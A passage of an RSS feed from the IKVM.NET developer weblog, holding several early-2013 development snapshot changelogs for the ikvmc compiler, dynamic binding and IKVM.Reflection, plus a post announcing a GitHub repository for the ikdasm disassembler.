   &lt;li&gt;
      Optimized some dynamic binding operations. 
   &lt;li&gt;
      Switched dynamic field binding to method handles. 
   &lt;li&gt;
      Removed "effectively final" optimization because it breaks the ability to dynamically
      load subclasses. 
   &lt;li&gt;
      Added experimental support for static methods in interfaces (for Java 8 class files). 
   &lt;li&gt;
      Added experimental support for default interfaces methods (for Java 8 class files). 
   &lt;li&gt;
      Fixed an ikvmc crash when a member is accessed on a type from a missing assembly. 
   &lt;li&gt;
      Fixed transparency artefact with AlphaComposite.Src and and anti-aliased text. 
   &lt;li&gt;
      Bug fix. Don't implement interfaces that aren't accessible. 
   &lt;li&gt;
      Changed TextArea peer from TextBox to RichTextBox (to handle LF correctly) and implemented
      replaceRange. 
   &lt;li&gt;
      Tweaked f2i, f2l, d2i and d2l bytecodes to be a bit faster in the common case.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
   Binaries available here: &lt;a href="http://www.frijters.net/ikvmbin-7.3.4817.zip"&gt;ikvmbin-7.3.4817.zip&lt;/a&gt;
&lt;/p&gt;
&lt;img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=467b6c9e-d9f6-4c6f-8de0-10c4f30ec5a9"&gt;</description>
      <comments>http://weblog.ikvm.net/CommentView.aspx?guid=467b6c9e-d9f6-4c6f-8de0-10c4f30ec5a9</comments>
    </item>
    <item>
      <trackback:ping>http://weblog.ikvm.net/Trackback.aspx?guid=815ae2af-70a7-48ac-8d16-4502b4a534f8</trackback:ping>
      <pingback:server>http://weblog.ikvm.net/pingback.aspx</pingback:server>
      <pingback:target>http://weblog.ikvm.net/PermaLink.aspx?guid=815ae2af-70a7-48ac-8d16-4502b4a534f8</pingback:target>
      <wfw:comment>http://weblog.ikvm.net/CommentView.aspx?guid=815ae2af-70a7-48ac-8d16-4502b4a534f8</wfw:comment>
      <wfw:commentRss>http://weblog.ikvm.net/SyndicationService.asmx/GetEntryCommentsRss?guid=815ae2af-70a7-48ac-8d16-4502b4a534f8</wfw:commentRss>
      <slash:comments>0</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
      Another week, another snapshot.
   </p>
        <p>
      Changes:
   </p>
        <ul>
          <li>
         Fixed several annotation encoding issues in new stub class generator.</li>
          <li>
         Added back support for exporting annotations in .NET assembly stub classes.</li>
          <li>
         Fixed ikvmc to not add ObsoleteAttribute to deprecated types/members that already
         have an explicit ObsoleteAttribute annotation.</li>
          <li>
         Fixed a typo in ikvm.runtime.Startup.addBootClassPathAssembly() method name.</li>
          <li>
         Bug fix. .NET enums used in Java annotations were not usable from .NET custom attribute.</li>
          <li>
         Added license headers to build scripts.</li>
          <li>
         Made boot class package handling simpler (more OpenJDK based). The package information
         is now read from the manifest instead of hard coded.</li>
        </ul>
        <p>
      Binaries available here: <a href="http://www.frijters.net/ikvmbin-7.3.4811.zip">ikvmbin-7.3.4811.zip</a></p>
        <img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=815ae2af-70a7-48ac-8d16-4502b4a534f8" />
      </body>
      <title>New Development Snapshot</title>
      <guid>http://weblog.ikvm.net/PermaLink.aspx?guid=815ae2af-70a7-48ac-8d16-4502b4a534f8</guid>
      <link>http://weblog.ikvm.net/PermaLink.aspx?guid=815ae2af-70a7-48ac-8d16-4502b4a534f8</link>
      <pubDate>Mon, 04 Mar 2013 08:20:59 GMT</pubDate>
      <description>&lt;p&gt;
   Another week, another snapshot.
&lt;/p&gt;
&lt;p&gt;
   Changes:
&lt;/p&gt;
&lt;ul&gt;
   &lt;li&gt;
      Fixed several annotation encoding issues in new stub class generator.&lt;/li&gt;
   &lt;li&gt;
      Added back support for exporting annotations in .NET assembly stub classes.&lt;/li&gt;
   &lt;li&gt;
      Fixed ikvmc to not add ObsoleteAttribute to deprecated types/members that already
      have an explicit ObsoleteAttribute annotation.&lt;/li&gt;
   &lt;li&gt;
      Fixed a typo in ikvm.runtime.Startup.addBootClassPathAssembly() method name.&lt;/li&gt;
   &lt;li&gt;
      Bug fix. .NET enums used in Java annotations were not usable from .NET custom attribute.&lt;/li&gt;
   &lt;li&gt;
      Added license headers to build scripts.&lt;/li&gt;
   &lt;li&gt;
      Made boot class package handling simpler (more OpenJDK based). The package information
      is now read from the manifest instead of hard coded.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
   Binaries available here: &lt;a href="http://www.frijters.net/ikvmbin-7.3.4811.zip"&gt;ikvmbin-7.3.4811.zip&lt;/a&gt;
&lt;/p&gt;
&lt;img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=815ae2af-70a7-48ac-8d16-4502b4a534f8"&gt;</description>
      <comments>http://weblog.ikvm.net/CommentView.aspx?guid=815ae2af-70a7-48ac-8d16-4502b4a534f8</comments>
    </item>
    <item>
      <trackback:ping>http://weblog.ikvm.net/Trackback.aspx?guid=a4cc186b-1934-4e96-8571-8f81f3771e4e</trackback:ping>
      <pingback:server>http://weblog.ikvm.net/pingback.aspx</pingback:server>
      <pingback:target>http://weblog.ikvm.net/PermaLink.aspx?guid=a4cc186b-1934-4e96-8571-8f81f3771e4e</pingback:target>
      <wfw:comment>http://weblog.ikvm.net/CommentView.aspx?guid=a4cc186b-1934-4e96-8571-8f81f3771e4e</wfw:comment>
      <wfw:commentRss>http://weblog.ikvm.net/SyndicationService.asmx/GetEntryCommentsRss?guid=a4cc186b-1934-4e96-8571-8f81f3771e4e</wfw:commentRss>
      <slash:comments>0</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
      I finally created a github repository for <a href="https://github.com/jfrijters/ikdasm">ikdasm</a>.
      A couple of weeks ago I fixed some ildasm compatibility issues and changed pinvokeimpl
      and marshalas handling to use the IKVM.Reflection specific APIs instead of decoding
      the pseudo custom attributes (I also used the new IKVM.Reflection feature to disable
      generating pseudo custom attributes). I added external module support and fixed some
      other small issues.
   </p>
        <p>
      The primary purpose of ikdasm is to make sure that the IKVM.Reflection API is complete.
      I believe it now exposes all relevant Managed PE file features. The secondary feature
      is to test IKVM.Reflection and to make this easy ikdasm replicates (almost) all ildasm
      quirks to enable comparing the output files. I disassembled a large number of files
      (including C++/CLI and Managed C++ files) and compared the results.
   </p>
        <p>
      Only a small subset of ildasm functionality has been cloned. There is no GUI and most
      command line options are also not implemented.
   </p>
        <p>
      Pull requests are welcome.
   </p>
        <img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=a4cc186b-1934-4e96-8571-8f81f3771e4e" />
      </body>
      <title>IKDASM Update</title>
      <guid>http://weblog.ikvm.net/PermaLink.aspx?guid=a4cc186b-1934-4e96-8571-8f81f3771e4e</guid>
      <link>http://weblog.ikvm.net/PermaLink.aspx?guid=a4cc186b-1934-4e96-8571-8f81f3771e4e</link>
      <pubDate>Mon, 25 Feb 2013 10:58:14 GMT</pubDate>
      <description>&lt;p&gt;
   I finally created a github repository for &lt;a href="https://github.com/jfrijters/ikdasm"&gt;ikdasm&lt;/a&gt;.
   A couple of weeks ago I fixed some ildasm compatibility issues and changed pinvokeimpl
   and marshalas handling to use the IKVM.Reflection specific APIs instead of decoding
   the pseudo custom attributes (I also used the new IKVM.Reflection feature to disable
   generating pseudo custom attributes). I added external module support and fixed some
   other small issues.
&lt;/p&gt;
&lt;p&gt;
   The primary purpose of ikdasm is to make sure that the IKVM.Reflection API is complete.
   I believe it now exposes all relevant Managed PE file features. The secondary feature
   is to test IKVM.Reflection and to make this easy ikdasm replicates (almost) all ildasm
   quirks to enable comparing the output files. I disassembled a large number of files
   (including C++/CLI and Managed C++ files) and compared the results.
&lt;/p&gt;
&lt;p&gt;
   Only a small subset of ildasm functionality has been cloned. There is no GUI and most
   command line options are also not implemented.
&lt;/p&gt;
&lt;p&gt;
   Pull requests are welcome.
&lt;/p&gt;
&lt;img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=a4cc186b-1934-4e96-8571-8f81f3771e4e"&gt;</description>
      <comments>http://weblog.ikvm.net/CommentView.aspx?guid=a4cc186b-1934-4e96-8571-8f81f3771e4e</comments>
    </item>
    <item>
      <trackback:ping>http://weblog.ikvm.net/Trackback.aspx?guid=2d8a8a68-5ad0-4dbf-a318-5981d2ab65db</trackback:ping>
      <pingback:server>http://weblog.ikvm.net/pingback.aspx</pingback:server>
      <pingback:target>http://weblog.ikvm.net/PermaLink.aspx?guid=2d8a8a68-5ad0-4dbf-a318-5981d2ab65db</pingback:target>
      <wfw:comment>http://weblog.ikvm.net/CommentView.aspx?guid=2d8a8a68-5ad0-4dbf-a318-5981d2ab65db</wfw:comment>
      <wfw:commentRss>http://weblog.ikvm.net/SyndicationService.asmx/GetEntryCommentsRss?guid=2d8a8a68-5ad0-4dbf-a318-5981d2ab65db</wfw:commentRss>
      <slash:comments>0</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
      Still more changes to better support what I'll start calling "mixed mode" (i.e. ikvmc
      compiled assemblies that use dynamically loaded classes or use dynamic binding to
      classes in another assembly).
   </p>
        <p>
      Another change is that runtime stub class generation is now based on the ikvmstub
      class file writer, instead of the very old code that was reflection based. This means
      that stubs can now acurately be generated even when some of the types involved are
      not available.
   </p>
        <p>
      Changes:
   </p>
        <ul>
          <li>
         Refactored assembly class loading.</li>
          <li>
         Added ikvm.runtime.EnumerationWrapper to expose an IEnumerable as a java.util.Enumeration.</li>
          <li>
         Removed the old runtime Java stub class generator and replaced it with the ikvmstub
         core.</li>
          <li>
         Allow dynamic class loading from boot class "path" and referenced assemblies.</li>
          <li>
         Regression fix. The previous custom assembly class loader construction rewrite introduced
         a bug.</li>
          <li>
         Bug fix. MethodHandle should be able to call dynamic only methods.</li>
          <li>
         Bug fix. MethodHandle to Object.clone/finalize should be special cased.</li>
          <li>
         Reimplemented dynamic binding on top of MethodHandles.</li>
        </ul>
        <p>
      Binaries available here: <a href="http://www.frijters.net/ikvmbin-7.3.4804.zip">ikvmbin-7.3.4804.zip</a></p>
        <img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=2d8a8a68-5ad0-4dbf-a318-5981d2ab65db" />
      </body>
      <title>New Development Snapshot</title>
      <guid>http://weblog.ikvm.net/PermaLink.aspx?guid=2d8a8a68-5ad0-4dbf-a318-5981d2ab65db</guid>
      <link>http://weblog.ikvm.net/PermaLink.aspx?guid=2d8a8a68-5ad0-4dbf-a318-5981d2ab65db</link>
      <pubDate>Mon, 25 Feb 2013 06:41:17 GMT</pubDate>
      <description>&lt;p&gt;
   Still more changes to better support what I'll start calling "mixed mode" (i.e. ikvmc
   compiled assemblies that use dynamically loaded classes or use dynamic binding to
   classes in another assembly).
&lt;/p&gt;
&lt;p&gt;
   Another change is that runtime stub class generation is now based on the ikvmstub
   class file writer, instead of the very old code that was reflection based. This means
   that stubs can now acurately be generated even when some of the types involved are
   not available.
&lt;/p&gt;
&lt;p&gt;
   Changes:
&lt;/p&gt;
&lt;ul&gt;
   &lt;li&gt;
      Refactored assembly class loading.&lt;/li&gt;
   &lt;li&gt;
      Added ikvm.runtime.EnumerationWrapper to expose an IEnumerable as a java.util.Enumeration.&lt;/li&gt;
   &lt;li&gt;
      Removed the old runtime Java stub class generator and replaced it with the ikvmstub
      core.&lt;/li&gt;
   &lt;li&gt;
      Allow dynamic class loading from boot class "path" and referenced assemblies.&lt;/li&gt;
   &lt;li&gt;
      Regression fix. The previous custom assembly class loader construction rewrite introduced
      a bug.&lt;/li&gt;
   &lt;li&gt;
      Bug fix. MethodHandle should be able to call dynamic only methods.&lt;/li&gt;
   &lt;li&gt;
      Bug fix. MethodHandle to Object.clone/finalize should be special cased.&lt;/li&gt;
   &lt;li&gt;
      Reimplemented dynamic binding on top of MethodHandles.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
   Binaries available here: &lt;a href="http://www.frijters.net/ikvmbin-7.3.4804.zip"&gt;ikvmbin-7.3.4804.zip&lt;/a&gt;
&lt;/p&gt;
&lt;img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=2d8a8a68-5ad0-4dbf-a318-5981d2ab65db"&gt;</description>
      <comments>http://weblog.ikvm.net/CommentView.aspx?guid=2d8a8a68-5ad0-4dbf-a318-5981d2ab65db</comments>
    </item>
    <item>
      <trackback:ping>http://weblog.ikvm.net/Trackback.aspx?guid=192a187a-89cb-4af7-9c7c-4b865f85198c</trackback:ping>
      <pingback:server>http://weblog.ikvm.net/pingback.aspx</pingback:server>
      <pingback:target>http://weblog.ikvm.net/PermaLink.aspx?guid=192a187a-89cb-4af7-9c7c-4b865f85198c</pingback:target>
      <wfw:comment>http://weblog.ikvm.net/CommentView.aspx?guid=192a187a-89cb-4af7-9c7c-4b865f85198c</wfw:comment>
      <wfw:commentRss>http://weblog.ikvm.net/SyndicationService.asmx/GetEntryCommentsRss?guid=192a187a-89cb-4af7-9c7c-4b865f85198c</wfw:commentRss>
      <slash:comments>0</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
      A quick update because the previous snapshot had a bug that caused ikvmc to be
      completely broken on the CLR x86 JIT.
   </p>
        <p>
      Changes:
   </p>
        <ul>
          <li>
         Changed build to explicitly exclude the classes that are already defined in map.xml.</li>
          <li>
         Changed ikvmc to add uncompilable classes loaded from the file system to classes.jar.</li>
          <li>
         Changed ikvmc to copy zip file comment.</li>
          <li>
         Changed ikvmc to emit a warning if a remapped type duplicates a loaded class.</li>
          <li>
         Removed CallerID optimization special casing since we can now call internal members
         from dynamic assemblies.</li>
          <li>
         Added some version information to the Internal Compiler Error message.</li>
          <li>
         Added some version information to runtime critical failure.</li>
          <li>
         Fixed AttributeHelper to have a deterministic class constructor.</li>
          <li>
         Bug fix. Disallow invalid class names in AssemblyClassLoader.loadClass().</li>
          <li>
         Removed the special casing of generic type definition loading as we've since exposed
         the generic type definitions to Java.</li>
          <li>
         Some beginnings of class loading refactoring.</li>
        </ul>
        <p>
      Binaries available here: <a href="http://www.frijters.net/ikvmbin-7.3.4799.zip">ikvmbin-7.3.4799.zip</a></p>
        <img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=192a187a-89cb-4af7-9c7c-4b865f85198c" />
      </body>
      <title>New Development Snapshot</title>
      <guid>http://weblog.ikvm.net/PermaLink.aspx?guid=192a187a-89cb-4af7-9c7c-4b865f85198c</guid>
      <link>http://weblog.ikvm.net/PermaLink.aspx?guid=192a187a-89cb-4af7-9c7c-4b865f85198c</link>
      <pubDate>Wed, 20 Feb 2013 07:24:44 GMT</pubDate>
      <description>&lt;p&gt;
   A quick update&amp;nbsp;because the previous snapshot had a bug that caused ikvmc to be
   completely broken on the CLR x86 JIT.
&lt;/p&gt;
&lt;p&gt;
   Changes:
&lt;/p&gt;
&lt;ul&gt;
   &lt;li&gt;
      Changed build to explicitly exclude the classes that are already defined in map.xml.&lt;/li&gt;
   &lt;li&gt;
      Changed ikvmc to add uncompilable classes loaded from the file system to classes.jar.&lt;/li&gt;
   &lt;li&gt;
      Changed ikvmc to copy zip file comment.&lt;/li&gt;
   &lt;li&gt;
      Changed ikvmc to emit a warning if a remapped type duplicates a loaded class.&lt;/li&gt;
   &lt;li&gt;
      Removed CallerID optimization special casing since we can now call internal members
      from dynamic assemblies.&lt;/li&gt;
   &lt;li&gt;
      Added some version information to the Internal Compiler Error message.&lt;/li&gt;
   &lt;li&gt;
      Added some version information to runtime critical failure.&lt;/li&gt;
   &lt;li&gt;
      Fixed AttributeHelper to have a deterministic class constructor.&lt;/li&gt;
   &lt;li&gt;
      Bug fix. Disallow invalid class names in AssemblyClassLoader.loadClass().&lt;/li&gt;
   &lt;li&gt;
      Removed the special casing of generic type definition loading as we've since exposed
      the generic type definitions to Java.&lt;/li&gt;
   &lt;li&gt;
      Some beginnings of class loading refactoring.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
   Binaries available here: &lt;a href="http://www.frijters.net/ikvmbin-7.3.4799.zip"&gt;ikvmbin-7.3.4799.zip&lt;/a&gt;
&lt;/p&gt;
&lt;img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=192a187a-89cb-4af7-9c7c-4b865f85198c"&gt;</description>
      <comments>http://weblog.ikvm.net/CommentView.aspx?guid=192a187a-89cb-4af7-9c7c-4b865f85198c</comments>
    </item>
    <item>
      <trackback:ping>http://weblog.ikvm.net/Trackback.aspx?guid=bca1a209-0bbf-4a09-a14d-87a4f0ce1788</trackback:ping>
      <pingback:server>http://weblog.ikvm.net/pingback.aspx</pingback:server>
      <pingback:target>http://weblog.ikvm.net/PermaLink.aspx?guid=bca1a209-0bbf-4a09-a14d-87a4f0ce1788</pingback:target>
      <wfw:comment>http://weblog.ikvm.net/CommentView.aspx?guid=bca1a209-0bbf-4a09-a14d-87a4f0ce1788</wfw:comment>
      <wfw:commentRss>http://weblog.ikvm.net/SyndicationService.asmx/GetEntryCommentsRss?guid=bca1a209-0bbf-4a09-a14d-87a4f0ce1788</wfw:commentRss>
      <slash:comments>0</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
      Lot's of changes in just a week. The most interesting one being that ikvmc and the
      runtime now work together to project all the classes that were in the original jars
      compiled by ikvmc are now visible in the same (virtual) jars at runtime.
   </p>
        <p>
      To avoid making the generated assemblies much bigger, this is implemented by having
      ikvmc generate a compressed file called --ikvm-classes--/ in the resources jar that
      contains the names of the classes compiled from this jar. This typically adds about
      0.5% size overhead. At runtime when that jar is read in by java.util.zip.ZipFile it
      expands the list of class names to create virtual ZipEntries. Only when a virtual class
      resource is accessed is the class stub generated.
   </p>
        <p>
      Changes:
   </p>
        <ul>
          <li>
         Fixed ikvmc to give a proper error message if it fails to write to the output file.</li>
          <li>
         If a class can't be statically compiled due to a missing base class/interface, include
         it as a resource.</li>
          <li>
         Modified the assembly class loader to try to load classes from resources.</li>
          <li>
         Made dynamic binding to unloadable types the default (for ikvmc).</li>
          <li>
         Added -static option to ikvmc to disable dynamic binding.</li>
          <li>
         Unified all ikvmc filename validation.</li>
          <li>
         Implemented StandardGlyphVector.getGlyphOutline().</li>
          <li>
         Bug fix. When looking for a method to override we should handle internal access methods.</li>
          <li>
         Fixed some runtime memory model issues (for non-x86 architectures).</li>
          <li>
         Bug fix. Custom attribute annotation should skip indexer properties.</li>
          <li>
         Bug fix. The available() method of the InputStream returned by ZipFile.getInputStream()
         was based on ZipEntry passed in, instead of the actual one.</li>
          <li>
         Fixed ikvmc to suppress "class not found" warning for a classes that fails to compile
         for any reason (because we've already given a warning about it).</li>
          <li>
         Bug fix. Don't look for main method in excluded classes.</li>
          <li>
         Unified the handling of resources and classes in ikvmc.</li>
          <li>
         Include all uncompilable .class files (from jars) into the resource jars.</li>
          <li>
         Project stub classes into the jar the classes originated from.</li>
          <li>
         Fixed ikvmc to prefer the last jar entry if there are duplicate entries. This mirrors
         the behavior of Java and dynamic mode.</li>
          <li>
         Fixed ikvmc to compare extensions case sensitive to find .class files.</li>
          <li>
         Fixed ikvmc to use the jar entry name, instead of the class name to load classes.</li>
          <li>
         Removed exclude.lst left over from ancient times.</li>
          <li>
         Removed META-INF/mailcap.default and META-INF/mimetypes.default resources that are
         no longer in resources.jar.</li>
          <li>
         Changed ikvmc -recurse: option to give a fatal error if it matches no files.</li>
        </ul>
        <p>
      Binaries available here: <a href="http://www.frijters.net/ikvmbin-7.3.4796.zip">ikvmbin-7.3.4796.zip</a></p>
        <img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=bca1a209-0bbf-4a09-a14d-87a4f0ce1788" />
      </body>
      <title>New Development Snapshot</title>
      <guid>http://weblog.ikvm.net/PermaLink.aspx?guid=bca1a209-0bbf-4a09-a14d-87a4f0ce1788</guid>
      <link>http://weblog.ikvm.net/PermaLink.aspx?guid=bca1a209-0bbf-4a09-a14d-87a4f0ce1788</link>
      <pubDate>Mon, 18 Feb 2013 08:05:07 GMT</pubDate>
      <description>&lt;p&gt;
   Lot's of changes in just a week. The most interesting one being that ikvmc and the
   runtime now work together to project all the classes that were in the original jars
   compiled by ikvmc are now visible in the same (virtual) jars at runtime.
&lt;/p&gt;
&lt;p&gt;
   To avoid making the generated assemblies much bigger, this is implemented by having
   ikvmc generate a compressed file called --ikvm-classes--/ in the resources jar that
   contains the names of the classes compiled from this jar. This typically adds about
   0.5% size overhead. At runtime when that jar is read in by java.util.zip.ZipFile it
   expands the list of class names to create virtual ZipEntries. Only when a virtual&amp;nbsp;class
   resource is accessed is the class stub generated.
&lt;/p&gt;
&lt;p&gt;
   Changes:
&lt;/p&gt;
&lt;ul&gt;
   &lt;li&gt;
      Fixed ikvmc to give a proper error message if it fails to write to the output file.&lt;/li&gt;
   &lt;li&gt;
      If a class can't be statically compiled due to a missing base class/interface, include
      it as a resource.&lt;/li&gt;
   &lt;li&gt;
      Modified the assembly class loader to try to load classes from resources.&lt;/li&gt;
   &lt;li&gt;
      Made dynamic binding to unloadable types the default (for ikvmc).&lt;/li&gt;
   &lt;li&gt;
      Added -static option to ikvmc to disable dynamic binding.&lt;/li&gt;
   &lt;li&gt;
      Unified all ikvmc filename validation.&lt;/li&gt;
   &lt;li&gt;
      Implemented StandardGlyphVector.getGlyphOutline().&lt;/li&gt;
   &lt;li&gt;
      Bug fix. When looking for a method to override we should handle internal access methods.&lt;/li&gt;
   &lt;li&gt;
      Fixed some runtime memory model issues (for non-x86 architectures).&lt;/li&gt;
   &lt;li&gt;
      Bug fix. Custom attribute annotation should skip indexer properties.&lt;/li&gt;
   &lt;li&gt;
      Bug fix. The available() method of the InputStream returned by ZipFile.getInputStream()
      was based on ZipEntry passed in, instead of the actual one.&lt;/li&gt;
   &lt;li&gt;
      Fixed ikvmc to suppress "class not found" warning for a classes that fails to compile
      for any reason (because we've already given a warning about it).&lt;/li&gt;
   &lt;li&gt;
      Bug fix. Don't look for main method in excluded classes.&lt;/li&gt;
   &lt;li&gt;
      Unified the handling of resources and classes in ikvmc.&lt;/li&gt;
   &lt;li&gt;
      Include all uncompilable .class files (from jars) into the resource jars.&lt;/li&gt;
   &lt;li&gt;
      Project stub classes into the jar the classes originated from.&lt;/li&gt;
   &lt;li&gt;
      Fixed ikvmc to prefer the last jar entry if there are duplicate entries. This mirrors
      the behavior of Java and dynamic mode.&lt;/li&gt;
   &lt;li&gt;
      Fixed ikvmc to compare extensions case sensitive to find .class files.&lt;/li&gt;
   &lt;li&gt;
      Fixed ikvmc to use the jar entry name, instead of the class name to load classes.&lt;/li&gt;
   &lt;li&gt;
      Removed exclude.lst left over from ancient times.&lt;/li&gt;
   &lt;li&gt;
      Removed META-INF/mailcap.default and META-INF/mimetypes.default resources that are
      no longer in resources.jar.&lt;/li&gt;
   &lt;li&gt;
      Changed ikvmc -recurse: option to give a fatal error if it matches no files.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
   Binaries available here: &lt;a href="http://www.frijters.net/ikvmbin-7.3.4796.zip"&gt;ikvmbin-7.3.4796.zip&lt;/a&gt;
&lt;/p&gt;
&lt;img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=bca1a209-0bbf-4a09-a14d-87a4f0ce1788"&gt;</description>
      <comments>http://weblog.ikvm.net/CommentView.aspx?guid=bca1a209-0bbf-4a09-a14d-87a4f0ce1788</comments>
    </item>
    <item>
      <trackback:ping>http://weblog.ikvm.net/Trackback.aspx?guid=85333138-19c8-41a4-bc9c-f53a7030eea6</trackback:ping>
      <pingback:server>http://weblog.ikvm.net/pingback.aspx</pingback:server>
      <pingback:target>http://weblog.ikvm.net/PermaLink.aspx?guid=85333138-19c8-41a4-bc9c-f53a7030eea6</pingback:target>
      <wfw:comment>http://weblog.ikvm.net/CommentView.aspx?guid=85333138-19c8-41a4-bc9c-f53a7030eea6</wfw:comment>
      <wfw:commentRss>http://weblog.ikvm.net/SyndicationService.asmx/GetEntryCommentsRss?guid=85333138-19c8-41a4-bc9c-f53a7030eea6</wfw:commentRss>
      <slash:comments>0</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
      The <a href="/PermaLink.aspx?guid=42729fb3-af19-4249-a9c1-88f1a82874e3">recent architectural
      change</a> makes it possible for the static compiler to use dynamic binding when it
      encounters a missing type. This in turn makes the dynamic binding support more important,
      so I've been fixing a lot of bugs in this area.
   </p>
        <p>
      Currently, ikvmc will still emit code that statically throws a NoClassDefFoundError
      when accessing missing types, but in the future the default will change to generate
      dynamic binding code in this case.
   </p>
        <p>
      Changes:
   </p>
        <ul>
          <li>
         Fixed a bug with Graphics.setComposite(x). This fixes most paint artefacts of Nimbus
         L&amp;F.</li>
          <li>
         Fixed a NPE in constructor of BufferedImage.</li>
          <li>
         Fixed TexturePaint bugs.</li>
          <li>
         Enable ldc 
         <METHODTYPE>
            to work for unloadable types in dynamic mode.
         </METHODTYPE></li>
          <li>
         Changed dynamic bytecode helper methods to be CallerID based instead of trusting the
         caller to provide the right context type handle.</li>
          <li>
         Use sun.launcher.LauncherHelper to make the launcher more consistent with Java.</li>
          <li>
         Implemented package access checks in dynamic mode.</li>
          <li>
         Fixed reflection handling of unloadable types.</li>
          <li>
         Added CodeGenOptions.DisableDynamicBinding to disable dynamic binding, instead of
         conditional compilation.</li>
          <li>
         Bug fix. Dynamic method invocations should unwrap InvocationTargetException.</li>
          <li>
         Bug fix. Dynamic instantiation should throw InstantiationError when trying to instantiate
         an abstract class.</li>
          <li>
         Bug fix. Dynamic invokespecial (that isn't a new) should fail verification.</li>
          <li>
         Bug fix. Dynamic method lookup should also look in base classes (for non-constructor
         methods).</li>
          <li>
         Bug fix. When dynamically calling a non-constructor instance method, the receiver
         object should be of the correct type.</li>
          <li>
         Added support for setPaint with custom Paint implementation.</li>
          <li>
         Added support for dynamic (non-loadable type) annotations in statically compiled code.</li>
          <li>
         Have ikvmc record inner classes even if they can't be loaded.</li>
          <li>
         Have ikvmc record the outer class even if it is not loadable.</li>
          <li>
         Bug fix. If the runtime tries to load a class from an assembly with a custom assembly
         class loader, the custom assembly class loader should be called. Previously it would
         only be called if the Java class loader had been instantiated.</li>
          <li>
         Bug fix. We should emit miranda methods for non-abstract classes too.</li>
          <li>
         Bug fix. Mark "missing" interface methods so that subclasses (that are compiled separately)
         know that the base class is incomplete.</li>
          <li>
         Allow dynamic assemblies injected into assembly class loaders to be (debug dump) saved.</li>
          <li>
         Changed the build system to automatically scan all sources files for copyright statements
         and validate that all GPL licensed files include the Classpath exception.</li>
          <li>
         Removed resource compiler dependency from JVM.DLL build.</li>
          <li>
         Bug fix. Custom assembly class loader was made visible to other threads while it was
         still being constructed.</li>
          <li>
         Stop considering ACC_SUPER when linking invokespecial (unless compatibility switch
         is set). This change matches the security change in Java 7u13.</li>
          <li>
         Improved ldc MethodType: Use nested type with class constructor to create values with
         statically know signatures (like ldc MethodHandle).</li>
          <li>
         Improved ldc MethodType: Use caching for dynamicallly constructed MethodType values
         but retry on failure.</li>
          <li>
         Fixed dynamic dispatch class loading exception handling to wrap non-java.lang.Error
         exceptions in NoClassDefFoundError.</li>
          <li>
         Added support for dynamic ldc MethodHandle.</li>
          <li>
         Added support for dynamically linking the boostrap method of an invokedynamic.</li>
          <li>
         IKVM.Reflection: Expose the Name and __ModuleHash for missing external Modules.</li>
          <li>
         IKVM.Reflection: Regression fix. The AssemblyNames returned by Module.__GetReferencedAssemblies()
         didn't have the ContentType set for windowruntime assembly references.</li>
          <li>
         IKVM.Reflection: Added new public API Module.__ResolveTypeSpecCustomModifiers() to
         resolve the (useless) custom modifiers that can be put on TypeSpecs.</li>
          <li>
         IKVM.Reflection: Added another overload of the public API Module.__GetSectionInfo()
         that returns more information about the section.</li>
          <li>
         IKVM.Reflection: Bug fix. The OriginalFilename in the version info resource should
         only include the filename, not the path.</li>
        </ul>
        <p>
      Binaries available here: <a href="http://www.frijters.net/ikvmbin-7.3.4790.zip">ikvmbin-7.3.4790.zip</a></p>
        <img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=85333138-19c8-41a4-bc9c-f53a7030eea6" />
      </body>
      <title>New Development Snapshot</title>
      <guid>http://weblog.ikvm.net/PermaLink.aspx?guid=85333138-19c8-41a4-bc9c-f53a7030eea6</guid>
      <link>http://weblog.ikvm.net/PermaLink.aspx?guid=85333138-19c8-41a4-bc9c-f53a7030eea6</link>
      <pubDate>Mon, 11 Feb 2013 12:02:04 GMT</pubDate>
      <description>&lt;p&gt;
   The &lt;a href="/PermaLink.aspx?guid=42729fb3-af19-4249-a9c1-88f1a82874e3"&gt;recent architectural
   change&lt;/a&gt; makes it possible for the static compiler to use dynamic binding when it
   encounters a missing type. This in turn makes the dynamic binding support more important,
   so I've been fixing a lot of bugs in this area.
&lt;/p&gt;
&lt;p&gt;
   Currently, ikvmc will still emit code that statically throws a NoClassDefFoundError
   when accessing missing types, but in the future the default will change to generate
   dynamic binding code in this case.
&lt;/p&gt;
&lt;p&gt;
   Changes:
&lt;/p&gt;
&lt;ul&gt;
   &lt;li&gt;
      Fixed a bug with Graphics.setComposite(x). This fixes most paint artefacts of Nimbus
      L&amp;amp;F.&lt;/li&gt;
   &lt;li&gt;
      Fixed a NPE in constructor of BufferedImage.&lt;/li&gt;
   &lt;li&gt;
      Fixed TexturePaint bugs.&lt;/li&gt;
   &lt;li&gt;
      Enable ldc 
      &lt;METHODTYPE&gt;
         to work for unloadable types in dynamic mode.
   &lt;/li&gt;
   &lt;li&gt;
      Changed dynamic bytecode helper methods to be CallerID based instead of trusting the
      caller to provide the right context type handle.&lt;/li&gt;
   &lt;li&gt;
      Use sun.launcher.LauncherHelper to make the launcher more consistent with Java.&lt;/li&gt;
   &lt;li&gt;
      Implemented package access checks in dynamic mode.&lt;/li&gt;
   &lt;li&gt;
      Fixed reflection handling of unloadable types.&lt;/li&gt;
